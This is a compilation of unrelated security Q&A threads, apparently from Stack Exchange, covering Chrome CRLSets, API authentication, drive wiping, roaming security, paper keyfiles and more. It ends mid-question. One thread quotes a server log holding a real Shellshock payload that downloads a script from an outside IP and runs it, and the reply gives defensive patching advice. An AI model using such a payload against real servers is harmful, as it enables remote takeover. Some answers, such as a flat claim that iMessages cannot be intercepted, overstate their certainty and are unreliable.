How are CRLsets more secure? Google Chrome doesn't do typical CRL/OSCP checks, instead it depends on CRLsets. In simple terms, Google scoops up the CRLs from most CAs, trims them down and delivers the CRLset to the browser via the update mechanism. They claim this is more secure, but it only seems to artificially speed up the browser.

Soft Fail

Much like an attacker can terminate the OCSP request, they could also drop traffic to/from the Chrome update service. Receiving the new CRLset seems prone to the same flaws in relying on the information arriving at the browser. If the attacker has control of the transport layer, how can we expect to receive new information?

Incomplete

In light of Heartbleed, and the proof that private keys can be retrieved, the number of certificate revocations taking place is likely to explode. To continue expanding the CRLset to incorporate all of these new revocations seems like a cumbersome process. Unless Chrome only receives a delta of the list, there is the potential for the file to become quite large. Whilst Google trim the list, and not all CAs are included, this only seems to make the problem around how complete the list is worse.

Delay

Once a revocation request is processed by a CA, their CRL and OCSP responses will reflect that. Without knowing what the lag time on an update hitting the CRLset is exactly, it's hard to say just how bad this will be. If an attacker gains access to a private key, they are likely to use it as soon as possible. As such, the browser needs to know about the revocation at the earliest possible opportunity. It seems the best way to do this is to ask the CA directly (or depend on OCSP stapling).

Performance / Privacy

Certificate revocation checks come with an inherent performance and privacy cost. The browser needs to perform a DNS look up and TCP round trip to the CA and wait for a response. You've also just disclosed your IP and the sites you visit to the CA. Whilst a CRLset avoids both of these issues, OCSP stapling allows a host to do the same. IIS has OCSP stapling out of the box and Apache/NginX both support it with minimal configuration.

Whilst the CRLset does offer some benefits, I would have thought it would be better working in tandem with CRL/OCSP checks, rather than instead of, which is how Chrome is configured by default. The browser can use the CRLset as a 'quick reference' for high importance, revoked certificates, and then continue with normal checks as you would expect.

Adam Langley (google) wrote a reply to GRC's accusations. it can be found here: https://www.imperialviolet.org/2014/04/29/revocationagain.html

"
ImperialViolet
Revocation still doesn't work (29 Apr 2014)

I was hoping to be done with revocation for a bit, but sadly not.

GRC have published a breathless piece attacking a straw man argument: “Google tells us ... that Chrome's unique CRLSet solution provides all the protection we need”. I call it a straw man because I need only quote my own posts that GRC have read to show it.

The original CRLSets announcement contained two points. Firstly that online revocation checking doesn't work and that we were switching it off in Chrome in most cases. Secondly, that we would be using CRLSets to avoid having to do full binary updates in order to respond to emergency incidents.

In the last two paragraphs I mentioned something else. Quoting myself:

“Since we're pushing a list of revoked certificates anyway, we would like to invite CAs to contribute their revoked certificates (CRLs) to the list. We have to be mindful of size, but the vast majority of revocations happen for purely administrative reasons and can be excluded. So, if we can get the details of the more important revocations, we can improve user security. Our criteria for including revocations are:

The CRL must be crawlable: we must be able to fetch it over HTTP and robots.txt must not exclude GoogleBot.
The CRL must be valid by RFC 5280 and none of the serial numbers may be negative.
CRLs that cover EV certificates are taken in preference, while still considering point (4).
CRLs that include revocation reasons can be filtered to take less space and are preferred.”
In short, since we were pushing revocations anyway, maybe we could get some extra benefit from it. It would be better than nothing, which is what browsers otherwise have with soft-fail revocation checking.

I mentioned it again, last week (emphasis added):

“We compile daily lists of some high-value revocations and use Chrome's auto-update mechanism to push them to Chrome installations. It's called the CRLSet and it's not complete, nor big enough to cope with large numbers of revocations, but it allows us to react quickly to situations like Diginotar and ANSSI. It's certainly not perfect, but it's more than many other browsers do.”

“The original hope with CRLSets was that we could get revocations categorised into important and administrative and push only the important ones. (Administrative revocations occur when a certificate is changed with no reason to suspect that any key compromise occurred.) Sadly, that mostly hasn't happened.”

And yet, GRC managed to write pages (including cartoons!) exposing the fact that it doesn't cover many revocations and attacking Chrome for it.

They also claim that soft-fail revocation checking is effective:

The claim is that a user will download and cache a CRL while not being attacked and then be protected from a local attacker using a certificate that was included on that CRL. (I'm paraphrasing; you can search for “A typical Internet user” in their article for the original.)

There are two protocols used in online revocation checking: OCSP and CRL. The problem is that OCSP only covers a single certificate and OCSP is used in preference because it's so much smaller and thus removes the need to download CRLs. So the user isn't expected to download and cache the CRL anyway. So that doesn't work.

However, it's clear that someone is downloading CRLs because Cloudflare are spending half a million dollars a month to serve CRLs. Possibly it's non-browser clients but the bulk is probably CAPI (the library that IE, Chrome and other software on Windows typically uses - although not Firefox). A very obscure fact about CAPI is that it will download a CRL when it has 50 or more OCSP responses cached for a given CA certificate. But CAs know this and split their CRLs so that they don't get hit with huge bandwidth bills. But a split CRL renders the claimed protection from caching ineffective, because the old certificate for a given site is probably in a different part.

So I think the claim is that doing blocking OCSP lookups is a good idea because, if you use CAPI on Windows, then you might cache 50 OCSP responses for a given CA certificate. Then you'll download and cache a CRL for a while and then, depending on whether the CA splits their CRLs, you might have some revocations cached for a site that you visit.

It seems that argument is actually for something like CRLSets (download and cache revocations) over online checking, it's just a Rube Goldberg machine to, perhaps, implement it!

So, once again, revocation doesn't work. It doesn't work in other browsers and CRLSets aren't going to cover much in Chrome, as I've always said. GRC's conclusions follow from those errors and end up predictably far from the mark.

In order to make this post a little less depressing, let's consider whether its reasonable to aim to cover everything with CRLSets. (Which I mentioned before as well, but I'll omit the quote.) GRC quote numbers from Netcraft claiming 2.85 million revocations, although some are from certificate authorities not trusted by mainstream web browsers. I spent a few minutes harvesting CRLs from the CT log. This only includes certificates that are trusted by reasonable number of people and I only waited for half the log to download. From that half I threw in the CRLs included by CRLSets and got 2356 URLs after discarding LDAP ones.

I tried downloading them and got 2164 files. I parsed them and eliminated duplicates and my quick-and-dirty parser skipped quite a few. None the less, this very casual search found 1,062 issuers and 4.2 million revocations. If they were all dropped into the CRLSet, it would take 39MB.

So that's a ballpark figure, but we need to design for something that will last a few years. I didn't find figures on the growth of HTTPS sites, but Netcraft say that the number of web sites overall is growing at 37% a year. It seems reasonable that the number of HTTPS sites, thus certificates, thus revocations will double a couple of times in the next five years.

There's also the fact that if we subsidise revocation with the bandwidth and computers of users, then demand for revocation will likely increase. Symantec, I believe, have experimented with certificates that are issued for the maximum time (five years at the moment) but sold in single year increments. When it comes to the end of the year, they'll remind you to renew. If you do, you don't need to do anything, otherwise the certificate gets revoked. This seems like a good deal for the CA so, if we make revocation really effective, I'd expect to see a lot more of it. Perhaps factor in another doubling for that.

So we would need to scale to ~35M revocations in five years, which is ~300MB of raw data. That would need to be pushed to all users and delta updated. (I don't have numbers for the daily delta size.)

That would obviously take a lot of bandwidth and a lot of resources on the client. We would really need to aim at mobile as well, because that is likely to be the dominant HTTPS client in a few years, making storage and bandwidth use even more expensive.

Some probabilistic data structure might help. I've written about that before. Then you have to worry about false positives and the number of reads needed per validation. Phones might use Flash for storage, but it's remarkably slow.

Also, would you rather spend those resources on revocation, or on distributing the Safe Browsing set to mobile devices? Or would you spend the memory on improving ASLR on mobile devices? Security is big picture full of trade-offs. It's not clear the revocation warrants all that spending.

So, if you believe that downloading and caching revocation is the way forward, I think those are the parameters that you have to deal with."

i copypasted his blog post without permission but in good faith (that he welcomes it). should he or an affiliated party demand takedown, plz just erase my comment.


Search by hashed value I would like to design a REST API endpoint (POST) that takes in some sensitive identifier information in the request body:
{
   "someDataToSearch": "abcdefgh"
}

I then want to hash abcdefgh and search for that hash in our DB and return the corresponding entity, which will have been generated and stored in the DB prior to this as part of some business logic.
I wanted to use Bcrypt to do this but I've realised that requires a salt to generate, and we won't be passing in the salt as part of the request body above.  So I don't think we can do a lookup with that, correct me if I'm wrong?
What would be a secure algorithm and approach to do this?  Thanks

Based on your comments, I am going to assume for the sake of simplicity that the input you want to search on is a password.
So you don't want to store the raw password in your database, so you'll store a cryptographic hash of it. Now you want to be able to search on this column. This presents a number of problems:

You are limited to exact-match searches. Obviously there's no way to do a partial-match search after you have run the value through a cryptographic hash.
Hash functions designed for passwords all require a salt and a work-factor that make them very slow, use a lot of memory, or both. Neither of these seem ideal for a database lookup.

The solution is going to depend on a deeper analysis of exactly what security properties you need, and don't need.

If the input is sensitive but high-entropy (for example a private key) then you don't need a password hashing function because the input is not brute-forcable anyway, and could use instead a single pass of SHA-256. Fast and no salt.
I assume you've already considered searching by an Id or key instead, and for whatever reason this doesn't work. (you'd probably need a way to look up the key for a given entry, in which case you're back to the same problem)
If your input is low-entropy (like a password), and you really do need a salted&iterated hash, then I don't see any good options because you'll need some way to know which salt to use before you can hash&lookup. This chicken-and-eggs with the need for some sort of Id/key (or with the salt serving as that Id/key)

Taking a step back and squinting, this looks a bit like password authentication: user logs in with their password, and the server looks them up and returns a bunch of data for them. The key point here is that no systems use the password as the lookup key; that's what the username is for! Providing the secret is simply to prove that they are who they say they are.

I agree with @Steffen that this seems like an XY problem. You're hitting dead-ends, likely, because the larger problem you're trying to solve doesn't fit into the shape of problems that we know how to solve efficiently. It may be back-to-the-drawing-board time to see if you can re-cast your problem so that it fits some established pattern.


Wondering about iMessage security over work WiFi? I work for a very large, tech heavy organization and I use WiFi at work - been there for many years and have been using their WiFi the whole time. I also use iMessage almost exclusively and I’m starting to wonder about general security of my messages while on their WiFi, are my messages actually private? If an employer wanted to go through the messages sent, would they just require a cell number to be able to pick out my information?

I don’t use a work issued cell and I’ve never given it to them for any programs to be downloaded onto it. I’d like to believe that private messages sent to my spouse, job hunting inquires, etc... would be private because I’m using iMessage, but is that really the case?

What other information would they be able to get? Is there an expectation of privacy that is legally enforceable? I would almost understand messages sent for work purposes being monitored, but outside of those specific contacts, could they access private transmissions as well?

I’ve used their WiFi for a long time, I can’t remember if I ever gave a special security certificates a long time ago or how I could even check that?

Your work cannot intercept your messages. Further, iMessage messages are end-to-end encrypted which means that not even Apple can intercept your messages without making substantial, obvious software updates which would tip off many security researches. The only circumstances in which your employer could see your messages is if they installed a custom app on your phone which made use of private APIs. Since you stated in your question that they have not installed any software on your phone, you are in the clear.

See page 60 of this Apple provided PDF for a more in-depth, technical overview of how iMessage security works.


Security mechanism differences between Google and Amazon APIs Does anyone know why Google and Amazon (AWS)'s API have such different ways to deal with security? For example, Google has a simple API key which you can revoke at any time, while Amazon has this public/secret key mechanism in addition to a complex request signature requirement.

Amazon's signature process is so complex that it looks more like obfuscation than real security? You're almost forced to use their SDK unless you feel like spending a few hours into figuring out the requirements.

Why are the two approaches completely different, and does Amazon's signature truly add security to their API? Why would Google use such a simple alternative? Is Amazon's approach really useful considering that they also enforce HTTPS?

I think the question here should more be answered from a marketing than a security perspective.

In general, I would say that Google probably uses a relatively simple API key for usability/accessibility, in order to make it easier for the mass of developers to implement their services (and earn money from that).

Amazon probably has more concerns about the use of their API and uses a different system of public and secret keys. The use of a secret key does add a certain protection and can not directly be considered as security-by-obfuscation (while technically most security is basically a form of obfuscation).

To answer your question in the comment:

  I'm actually curious to understand why would anyone want to make public (lucrative) service hard to use. Other than complexity what other gains is there to signature VS using a key?

Two reasons came to my mind about this:

The first one is probably that it gives a sense of security and this can be a reason for companies to choose a harder to implement service above an easy-to-implement service. Because it's considered "more secure". This raises the question if the security features are actually adding an extra layer of security or if they just complicate things unnecessarily.

The second one is probably that it can actually add extra security. When we, for example, use a service that charges money for each request and the only authentication is one key. Then, if the key leaks, anyone can use that API using my key and so I will get charged for it. An example of an extra security layer is IP whitelisting in combination with the key. This mitigated at least the problem that anyone can misuse my key. SSL (HTTPS) adds a layer of encryption to the communication between the server and the client (possibly mitigating man-in-the-middle attacks). Other possible features or measures can be DNSSEC, custom encryption, time-frames, key/credential expiration et cetera, all adding actual security to mitigate different attacks.

For the vendors, it is (as often with security) a constant consideration between usability and security. They will consider things like:

How far can and should we go, without getting paranoid?
How far do we need to go to protect the services (data) we offer?
Is it still acceptable by developers if we go this far?


securely destroying data on an external hard drive Possible Duplicate:
  How can I reliably erase all information on a hard drive?

I purchased an external hard drive and have been saving various things including system backups to it. I got it a month ago and it's almost full so I'm returning it for a larger one. I want to make sure I don't leave any sensitive information on it, as I mentioned it has full system backups so that's basically everything. Is there a tool I can use the securely deletes the free space? The drive came with a few files that I'd like to leave intact -- but if that can't be done not my problem.

If you're just trying to securely wipe the slack space of the drive, i.e. the sectors that are free after file deletion, there are a few easy ways to do it.

On Windows, you can use cipher /W:C:\ (replace C for the drive letter you're targeting) to perform secure deletion of the free sectors. This should work fine for HDDs, and even implements (arguably pointless) multi-pass wiping.

For Linux, you can use the secure-delete tool, which should be available from your package repository. There's an answer on SuperUser that covers this. Again, this supports multi-pass wiping, but it's unnecessary.

Keep in mind that if your external drive is running over USB it will be slow. If possible, remove it and hook it up to the computer directly, e.g. via SATA. This will massively increase the disk throughput.

If the external drive is an SSD, things get more complicated. SSDs are built out of special flash cells which have limited write capacity; once you write to them a few million times they'll burn out. In order to make the lifespan of these devices more useful, two main techniques are used. The first is wear levelling, which involves distributing the writes across different cells, and storing a map to these fragmented instances of data. This helps solve cases where a single file is written to frequently, which would normally result in the same cell being written over and over, causing premature burnout. Unfortunately this also means that you can't guarantee that a file write will actually overwrite the same physical cell, so you can't guarantee that you've wiped the data. The other technique involves providing redundant cells which can be used to help increase the lifespan of the disk. When a cell is detected to be faulty (usually through burnout) it is re-mapped to a redundant cell. Unfortunately this means that old data might be left behind on the old cell, which also leads to leakage.

In order to provide some form of secure deletion method on SSDs that works despite the life extension mechanisms, without resorting to extensive erasure operations, manufacturers encrypt all data that goes onto the sectors with a strong block cipher such as AES. The key for the encrypted data is stored on the device, and the encryption / decryption is entirely transparent to the operating system. When the user wishes to securely wipe the device, the operating system can send a special command to the drive which causes it to generate a new key and overwrite the old one. This renders all data on the device, redundant or not, entirely unreadable, without ever writing over the cells. Unfortunately this results in deleting everything from the disk, including all partitions. There's no way to do a partial secure delete - you'd have to copy the files you want to keep over to another disk, then wipe it, then bring the files back over.

Actually doing this secure deletion operation is usually dependant on the device, but most manufacturers provide tools or instructions on how to do it.


Two Tasks Running With No Name I don't know if this is the right place to post this question but I have two tasks that have appeared recently and are always taking up most of my CPU. They don't have a name and when I go to stop them they don't stop running.

If I open file location they go to svchost.exe but I feel it could be malware disguising itself.

Is there any chance these two tasks are malware?

svchost.exe (Service Host) is a normal process used for running services (background programs) on Windows. You can use tools like Process Explorer to determine what executables are being ran by the Service Host process. Without further information as to what is being ran by the Service Host it is impossible to provide you with additional recommendations, and JL117748's "answer" is woefully uninformed in regards to the basics of the Windows operating system. You can download a copy of Process Explorer here.

Edit

I should have been more detailed and addressed how to specifically see which services are being ran by Service Host, since by saying executable gave the impression of only child processes as brought up by dave_thompson_085. If you right click on the svchost.exe process in Process Explorer, and select Properties, then click on the Services tab as can be seen in the screenshot below. Assuming the services arent needed/required by the operating system, they can be disabled by opening the Computer Management MMC (in Administrative Tools, or right clicking the Start Menu/Windows Logo button), selecting Services underneath Services And Applications, then double clicking the relevant service, clicking the stop button and then changing the Startup Type to Disabled.


How is security handled between mobile carriers when using roaming When using 4g or other cellular networks, while roaming, mobile carriers transfer data between each other, something I've seen refered to as "ITS: Internation Transit Service" how does that work and how is it secured?
Does anyone have some insight into what sort of security measures are taken between mobile carriers when roaming, is there a standard, or how do they even integrate?

TL;DR: Thanks to IPX interconnections and thus thanks to IPSec most of the time.
A good reference about this would be the official IR.88 LTE and EPC Roaming Guidelines by the GSM Association. Otherwise a good read, although not specifically about roaming would the the Wikipedia IMS Security page.
The communication between NGN networks is typically secured using IPSec ESP tunnels with IKE between their SEGs (security gateways) (or SEPP for 5G (Security Edge Protection Proxy)).
These SEG comes from 3GPP 33.310 specification (and also the older 33.210) along with its cross-certification and Bridge CA guidelines that enables mutual trust between the operators. This spec also mentions the IPSec ESP tunnels and the way IKE is used to establish a connection. SEGs are meant to provide access control through authentication, and traffic confidentiality and integrity through encryption.
Now, about the specifics for roaming, in order to enable 4G roaming, you need links between the mobile networks LTE/ePC (when roaming LTE), which means:

Signalling links SCTP/IP for the DIAMETER traffic between the guest network and the home network. This links are required to exchange the signalling between the MME/S4-SGSN of the guest network and the HSS of the host network. This typically uses IPSec EPS tunnels.
Interconnection links for transporting the IP packets from the guest to the home network, this is also known as IPX (IP Exchange) network.
Notice that the IPX network is not addressable from the Internet, which is supposed to make attacks more difficult, but is akin to security by obscurity... But individual operator traffic is segregated, which effectively makes any security breach a "local concern" rather than a global one. Overall the IPX network is considered "trusted", but again IPSec EPS is the usual security protocol for these channels.

Now things can be a bit different for roaming CSFB or for roaming VoLTE, but the IPX and IPSec are still there.
Also, sometimes IPX is replaced by GRX and its GPT tunnels instead, but GPT tunnels are typically protected using... you've guessed: IPSec!
Notice that when communicating with traditional VoIP networks, this changes a bit and the security is usually relying on TLS connection to the P-CSCF, and you'll have the S-CSCF (Serving Call Session Control Function) server that handle access control.
Now, you might ask "Why is IPSec everywhere here?", well, this is simply because IPSec is a good way to secure things at the "network layer" (layer 3 as per OSI model), which is "deep down", compared to TLS that is operating (as it names implies) at the transport layer or above (it is often considered layer 6 or 7).
This means that IPSec is ideal to wrap these "higher" protocols such as SCTP that is operating at the transport level, layer 4, or DIAMETER that is operating at the application layer, layer 7.


How can a keylogger gather and transmit data from a client-only webapp run from file? For a client-side only webapp run from file, how can a keylogger gather data and then transmit it?

In this scenario, please limit the scope to the client code only, that an attacker somehow has injected code.  Vulnerabilities outside of the browser is out of scope.  There is no flash or java in the original code, and please assume that the client has flash disabled and does not permit java to execute.  All original code is HTML, CSS, and JavaScript.  There are some web-safe images such as those supplied with jQuery.

It seems to me that it can easily be read via a JavaScript code snippet, but how can it be transmitted? Websockets only?

I am not sure if I understand the question or not. But it happen that in my work, we wrote several javascript keystroke logger for keystroke biometrics. where the collected events (key-up/keydown) are sent to another server that not hosting the key logger script.

We do it either using Web Socket as you suggested or using JSONP


How can I safely print a keyfile on paper? I use KeePass with two factors, one being a keyfile. I would like to print the keyfile on a paper for disaster recovery.
How can I create a file that is printable on paper in such a way that I can use it to recover the keyfile? I surely have to take care that only printable characters are used, but are there more gotchas to this?
Edit:
To rephrase the question, is there any difference between a paper key and a paper keyfile? I believe the used file system is transparent to the file and with redirecting the output on linux using > operator I should be able to create a file containing 1:1 what was read from my preferred source of entropy.
In term of ease of recovery, QR-Code and similar (Data Matrix?) might be acceptable.
a) Am I missing something?
b) In comments somebody linked a tool (thx!) are there more handy / widespread ones? I would prefer to not need to install a python environment to be able to create a paper keyfile.

My suggestion would be to directly print Base64 and print a QR-code of the same Base64.
The plain base64 is a tedious fallback if all else fails. You could also print it using OCR fonts for better scanning.
The QR-code provides a simple paper to digital conversion format with built in error checks. If the base64 keyfile is too large for a single QR-code, split it into multiples.
This avoids proprietary tools.
Example:
#Make a 1KB (8K bits) file of random binary data to simulate a key
dd if=/dev/urandom of=binrand.bin bs=1K count=1
#Convert binary to Base64
base64 binrand.bin > binrand.mim
#Create a QR-code where -l {LMQH} specifie error correction level from L (lowest) to H (highest). (default=L)
qrencode -l Q -r binrand.mim -o qr.png
Print Page
Base64
HVLzBlR23pVoxpR1pAzoatQsblSEri35xIMrpSxBL2Sjcgy8slKeEtr6KaEevPjeMY/ZvlPcSxJA
G4cRt30ASAxQUIrLUyY/nAKLsWLUFqwUGQ2HJ/VIZ2PIcEDxNthq/LQJrSLeIiXfaGTFtGO7w1J2
qmPPzipXe4TS8PVz3yu0AiPPTrByv/JkkH0JFkld/llXJPK8ZK1lC8bKrrmfupzuckar7uF87WGU
lkkbcjwR0tPSRjk/MHcdDeX8fbvhECpGhlCcAD9IGa0otJRUfIoJ1QQh9ppZbdgEbuKwdbmYRaq4
uab4GlzAs8YDQsZifBrLf4eSZN9fdMIb35u7TFULYpUwqojRzehkUzPZWKscLGkP4PYPHYFnfo5k
Po6PPBpHypm8xkz+ZpCWCQl2MWRLUut9RoB9kFbDU6XdmIuFWGUHxGaVmYXWfDyYGnx3JMl4GEYO
EAlo/6e6haWr4YI7CB0E7rMjHvLVyPgWT0JHLNmN8a6PMZrkBDisINpGE0oyep7431Lt046urjzI
mU1c6NWVtIqw2dnn6Ps70pMtpFpoITl3CFtut7eGvmlnIVVOktv5po6i9C6QAC72LB4O7sCn9fLl
M7SX/YIY2hUC/9Nya+HZ7rVyw4YLy2HZ53stxEDxMKg4n7uZKxk3+zbnsXjZHiykooLa5s10rtpJ
dTxe32cvusdYWlDgJLyb5RqSSuG3PV8hhT9k6gYDrPG0ZvTaD4wBSrQivZNFCKnvbf8FOhEcMgfL
gvG2wSQ+TlE1Hh97+C1VxIcaqd+L4A8fFKVZ4qM6gnKNWbbZujqiCfFp0Azspd1DrOs0Ch1XJBEB
mfBeFPIcI5WFDNVp6eXdiS9xevPqlYjj+QEjYjrmfeDYEkEaYtSx5mL16kCpgd5m4FE2+FgwuYs4
H2ykqOi9zzDpPXiB3gvvXkhuw5dm8dP16ZDIg20ZAm4MqSSpwF/xiCyqw9eKNeIB+YDQ9I4hUpZ8
GWf/51pxbyUzB0cFgQ7uHut86CwEOMegjDwFZ5y46Loc5zgJCN04qk67srFA5/Jyd2uPJxJLd5Bh
VYbogQYPsOWBmx0yyXKzR5FyNBseSjOo7r5Q3HqHuwlGstS7MBwjnLWoUPOBjZfT/AwSAGqjhNUV
nliO7XqgfgCHXautAUBygZASj8Fqu5j5YDRUE7rLtrcBBoI8x9RIRwLpjkq3TydJ+x53bKmzS07P
stC2mLdmY+1iiKVp1Hc+dMGSghcdA5/HVCqrxfWktOCmd3utz8j0apWCCirznndgR63/fq4SihRt
c2irRgMxYBZPHKdjFZNCvNZMLg/R3j+3BWfOB3XLVg9WyqOeVH989Q/pGLecCZYqCIjBFho8FA==

QR-code


Keylogging host from virtual machine Can a keylogger in a virtual machine (guest OS) capture keystrokes in host OS? Is there any way to do it?

No, not unless there were a critical VM-escape vulnerability in the VM hypervisor.


Recent "attack" to my server that might be using shellshock exploit I just notice this repeated entry in nginx log:

31.184.194.114 - - [04/Mar/2015:10:29:53 +0700] "GET /cgi-bin/up.cgi HTTP/1.1" 301 178 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\x22);'"

This is attacking gitlab virtualhost, so it don't do any damage. I also don't have any cgi, I use php-fpm for other virtualhost.

I want to know is there any countermeasure that need to be set in the server to defend against similar attacks?

PS: I already set up ip bans using iptables and fail2ban running. My other vps taken over via ssh, so I had to reinstall it again. I'm still in paranoid condition and want to hardening up the vps servers under my control.

The string provided does appear to be an attempt to exploit the Shellshock vulnerability.  With cgi disabled your attack surface should be reduced.

With regards to countermeasures, patching to address the issue would be the most effective approach. The following links provides guidance on assessing whether your installation is vulnerable, as well as steps to apply the necessary patch to address the issue:

https://about.gitlab.com/2014/09/24/gitlab-shell-and-bash-cve-2014-6271/

https://about.gitlab.com/2014/09/25/gitlab-shell-and-bash-cve-2014-7169/


Do Chrome and Firefox send random values rather than the actual timestamp in ClientHello of TLS? I'm doing some analysis of TLS in different browsers (using Safari, Chrome, and Firefox) and have noticed that while Safari sends the correct unix timestamp, Chrome and Firefox send random values each time it send the ClientHello. Is this by design?

Yes, this is by design. The actual time is not important to TLS, and was only added to the ClientHello by the protocol as a protection against bad random number generation impacting the rest of the random data required as a part of the message.

Since it is not important, the protocol specifically states that it is not required to be the correct time*. The makers of some browsers have therefore decided to randomly skew the time portion of the random element in each ClientHello message they send.

A main reason for this is to aid in preventing tracking, an impetus which came from Tor - see the Mozilla post about this decision.

*RFC 2246/5246 § 7.4.1.2. Client hello:

  Clocks are not required to be set correctly by the basic TLS Protocol;


Can Nessus scanner be used behind a proxy? Is it possible use Nessus behind a proxy like Burp or OWASP ZAP? I tried to configure it in Web Proxy Settings, but it didn't work. I need to see all request/response that are performed during the assesment.

The proxy functionality in nessus is for traffic such as plugin updates etc.

This is not a supported feature to use a proxy server for scan-traffic, but you can route web traffic transparently to your attack-proxy.

Take a look at How do you capture ALL the traffic from an Android app?

The same method should be possible here.


Popularity of Anomaly based IDSes I've been reading quite some time about anomaly/behavior based IDSes for Web servers.

I understand the downsides: possible high false positives, learning phase, constant training.

My question is how popular are these systems for Web servers? It looks like most of the IDSes are signature based (most popular one that comes to my mind is mod_security).

I know this is a very broad question, I guess I am more interested in if people use them or if these kind of IDSes are still at more theoretical/academic level?

We use an anomaly based detection engine. There is definitely a high false positive rate and the learning phase can take up a lot of time. In my experience, an IDS that is OS and application aware is still a better option. While we have found some interesting things, it is not useful unless you have the staff to maintain it and sift through all of the false positives. I would say they are coming along but are not for everyone.


My friend was fired from her job. Overnight, on her personal phone all her work contacts mysteriously disappeared As the title stated. My friend personal email is connected to her personal phone. She works on the iPad and her work iPad is connected to her work email. She never checked her personal email on her work iPad. She completely separated work device and personal device. However, after she was let go she found out all her work contacts were deleted. Is it possible someone hacked to her phone and delete all her work contacts?

What can she do to find out if her employer have breached her phone and how should she go about this situation?

Well then, to try and fully answer your questions:

  Is it possible someone hacked to her phone and delete all her work contacts?

I will say this with a resounding no. It's theoretically possible for them to hack into the device, but while not only highly unlikely it is also impractical for anybody to remove just her work contacts.

The company has no reason: These are just names and numbers and do not violate any non-disclosure agreement I've ever heard of. They would have no reason to hack into a device just to remove contacts. See my explanation below for this.
No other person has any reason: What would any other person outside of the company gain from deleting those specific contacts? Nothing I can think of.

The most likely scenarios are:

These contacts were revoked because her phone (personal or work) were synced to Exchange/ActiveSync, or some other method that the company had control over that would allow them to revoke this information. It was mentioned that she used Wi-Fi to connect the devices

PEAP and RADIUS are a common authentication/authorization protocols used on WPA2 Enterprise networks that can install profile information on certain types of devices, by signing in you agree to certain terms and conditions that may involve the ability to remove information from your device. This they are legally allowed to do because it allows them the ability to control whether or not an employee steals/leaks information.

As mentioned by user Jeff Medden, it is possible contact information was synced across an iCloud account (if it was an iOS device), whether your friend knew it or not. People often run into this without understanding the boundaries of what iCloud can control (which is a LOT).
Negligence. This could mean she entered them in and thought she saved them, but didn't. It could also mean she intended to have them sync to iCloud, Google, etc. and it didn't (I've personally done that one).

There's not much else to throw at that one. I'll just tell you that people make mistakes and your friend may have made one without realizing it. Jumping to the conclusion that a company hacked her is a little farfetched.

  What can she do to find out if her employer have breached her phone?

Let's say the company really did breach her phone then yes, there are ways to find out.

However, they're probably beyond your means or ability to do so. Even having a specialist look at the device will probably yield no results.

  How should she go about this situation?

She doesn't, and really, she can't.

If they hacked you (which I laughably doubt), you have to be able to prove it and prove that it was not legally within their means to do so.

I would just tell you that if you want these contacts to try and reach out to these people via LinkedIn or whatever means you have and leave your paranoid ideas at the door.


Vulnerability Assessments - Vulnerability Taxonomies? All,

First question on here so please be as gentle as you can :-)

I've been looking around for any writings or papers on a standard for classifying vulnerabilities.  Not from a severity/risk/impact point of view but categorising such as grouping all the 'missing patches',  'weak authentication management',  egress/ingress rules for networks and alike.  Now I know that plenty of people have done this work already, myself included.  What I am interested to know is if anyone has done something on a more formal/standard footing?

Long question, all responses warmly welcomed.

MITRE has a few systems for this. CVE for things that need patching; CWE for bugs that need to be avoided/fixed, CAPEC describing attacks to your infrastructure; CCE for configuration needs; CPE for a proper naming scheme; and CEE for event exchange information.

http://makingsecuritymeasurable.mitre.org

You'll find links to other resources that work along with MITRE's standards or are similar in nature to them.


Best way to implement PGP company wide What is the best way to implement PGP/GnuPGP company wide? Go to each users workstation, create the keys, upload the public key, and move on to the next?

Each person should have their own key pair (obviously). Additionally you can utilize one keypair that signs all users' keys (corporate key). Users' keys should sign that corporate key and set owner trust to "full". That way all users that are signed by the corporate keys are automatically fully trusted.

You can also use trust signatures (gpg uses tsign command) if you want to expose this trust information outside or want to introduce more levels of company keys (like intermediate certificates).


Prevent my site from being copied Is it possible to protect my site from HTTrack Website Copier or any similar program?
Without setting a max number of HTTP request from users.

No, there's no way to do it. Without setting connection parameter limits, there's even no way to make it relatively difficult. If a legitimate user can access your website, they can copy its contents, and if they can do it normally with a browser, then they can script it.

You might setup User-Agent restrictions, cookie validation, maximum connections, and many other techniques, but none will stop somebody determined to copy your website.


Is Wiki software a good idea for Disaster Recovery Plans? I am tasked with the initial draft of an IT disaster recovery plan for my organization. My predecessor never started one so now I am the lucky fellow to tackle this project.

My experience in working with a disaster recovery plan is '0'. (Don't get me wrong, I relish the opportunity.)

There are many supplementary documentation that I feel needs to be included in the disaster recovery plan. Instead of copy/pasting the documents inside one giant Word document or keeping a directory with supplementary documentation, I was thinking of implementing a personal wiki (the wiki will be offline). Benefits I feel this will add are::

continual iterative process of keeping the document up to date by not having to worry about a formal linear structure of a Word document
linking the relevant supplementary documentation within the wiki as attachments
ease searching for proper reactions to disasters since the wiki indexes the content
leveraging a wiki's capability to convey a "many to many" relationship of systems, divisions, and resources

I am also planning on printing out the all-inclusive disaster recovery plan to be put inside a binder.

Is is a bad idea to implement a wiki for disaster recovery, or would it be a good idea? What are your ideas on implementing a personal wiki software for disaster recovery plans?

Like I mentioned, this is new territory so any feedback is appreciated!

Any documentation software will work just fine, even a bare web page can do what you hope a wiki could.

But, there is one aspect that you need to keep in mind: an authoritative version. Having a wiki means interative versioning, but that's also its weakness. How can the organization have faith that in the middle of a disaster that they are using the tested, approved, and safe version of the plan? What if a disaster occurs while you are in the middle of updating the wiki? What if an attacker maliciously updates the plan to his advantage and then triggers a disaster?

Depending on how you implement it, you need to make sure that only the official version of the plan is available. That's certainly possible, but you need to make sure that you implement the wiki in a way that accounts for that.


Trying to figure out the hashtype of this digest-auth htpasswd file Simple question for y'all as i'm having some trouble
identifying the hash type of this from a http digest file that
I have setup for rutorrent on a apache2 server.

Here's an example of what it looks like:

user:rutorrent:*MD5-HASH*

The first two are in plain text while the password
is entirely hashed...and not knowing what kind of
hashing was used on this, I did some research but
haven't found any concrete answers as to what this
is. Seeing it's in the form of a HA1 (Part of the process
of Auth Digest), that's my only clue as to what it is...but
i'm unaware of what kind of hash the password is.

I used john-the-ripper to determine and see what kind of hash-type
